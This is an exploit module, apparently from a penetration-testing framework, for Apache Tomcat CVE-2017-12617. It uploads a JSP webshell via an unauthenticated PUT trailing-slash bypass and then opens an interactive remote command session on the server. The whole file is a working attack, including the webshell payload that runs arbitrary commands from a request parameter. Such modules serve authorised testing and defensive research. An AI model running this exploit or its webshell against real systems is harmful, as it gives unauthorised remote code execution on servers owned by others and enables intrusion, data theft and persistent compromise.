Apache Tomcat - PUT JSP Upload RCE (CVE-2017-12617)

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Apache Tomcat PUT JSP upload RCE (CVE-2017-12617) — opens execute session."""

import re

from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler


class Module(Exploit, Http_client, Handler):
    __info__ = {
        'name': 'Apache Tomcat - PUT JSP Upload RCE (CVE-2017-12617)',
        'description': (
            'Uploads a JSP webshell via Tomcat PUT trailing-slash bypass (CVE-2017-12615/12617) '
            'and opens an interactive execute session.'
        ),
        'author': ['KittySploit Team'],
        'cve': ['CVE-2017-12617', 'CVE-2017-12615'],
        'platform': Platform.MULTI,
        'payload': {'default': 'nopayload'},
        'references': [
            'https://nvd.nist.gov/vuln/detail/CVE-2017-12617',
            'https://nvd.nist.gov/vuln/detail/CVE-2017-12615',
        ],
        'tags': ['tomcat', 'rce', 'upload', 'unauth', 'cve-2017-12617'],
        'agent': {
            'risk': 'intrusive',
            'effects': ['active_exploitation'],
            'expected_requests': 3,
            'reversible': False,
            'approval_required': True,
            'produces': ['exploit_paths', 'risk_signals'],
            'cost': 1.5,
            'noise': 0.5,
            'value': 1.0,
            'requires': {
                'min_endpoints': 0, 'min_params': 0,
                'tech_hints_any': [], 'tech_hints_all': [],
                'specializations_any': [], 'risk_signals_any': [],
                'auth_session': False, 'capabilities_any': [], 'capabilities_all': [],
                'confidence_min': {}, 'confidence_min_any': {},
                'endpoint_pattern_any': [], 'param_any': [], 'api_surface_ready': False,
            },
            'chain': {
                'produces_capabilities': [
                    {'capability': 'rce', 'from_detail': ''},
                    {'capability': 'shell', 'from_detail': ''},
                ],
                'consumes_capabilities': [],
                'option_bindings': {},
                'suggested_followups': ['scanner/http/cve_2017_12617_detect'],
            },
        },
    }

    _shell = None

    def _ensure_shell(self) -> bool:
        if self._shell:
            return True
        name = 'ks_' + self.random_text(8).lower() + '.jsp'
        jsp = (
            '<% String c=request.getParameter("c"); '
            'if(c!=null){Process p=Runtime.getRuntime().exec(c);'
            'java.io.InputStream in=p.getInputStream();'
            'int i;while((i=in.read())!=-1)out.write(i);} %>'
        )
        r = self.http_request(method='PUT', path=f'/{name}/', data=jsp, allow_redirects=False)
        if not r or r.status_code not in (201, 204):
            return False
        self._shell = f'/{name}'
        return True

    def execute(self, cmd: str) -> str:
        if not self._ensure_shell():
            return ''
        from urllib.parse import quote
        path = f'{self._shell}?c={quote(str(cmd), safe="")}'
        r = self.http_request(method='GET', path=path, allow_redirects=False)
        if not r:
            return ''
        return r.text or ''

    def check(self):
        body = self.execute('id')
        if re.search(r'uid=\d+', body or '') or 'Windows' in (body or '') or body.strip():
            token = self.random_text(6)
            if token in (self.execute(f'echo {token}') or ''):
                return {'vulnerable': True, 'reason': 'CVE-2017-12617 confirmed', 'confidence': 'high'}
        return {'vulnerable': False, 'reason': 'Upload/exec failed', 'confidence': 'medium'}

    def check_execute(self):
        token = self.random_text(8)
        return token in (self.execute(f'echo {token}') or '')

    def run(self):
        if not self.check_execute():
            self.not_vulnerable()
            return False
        return self.handler_execute()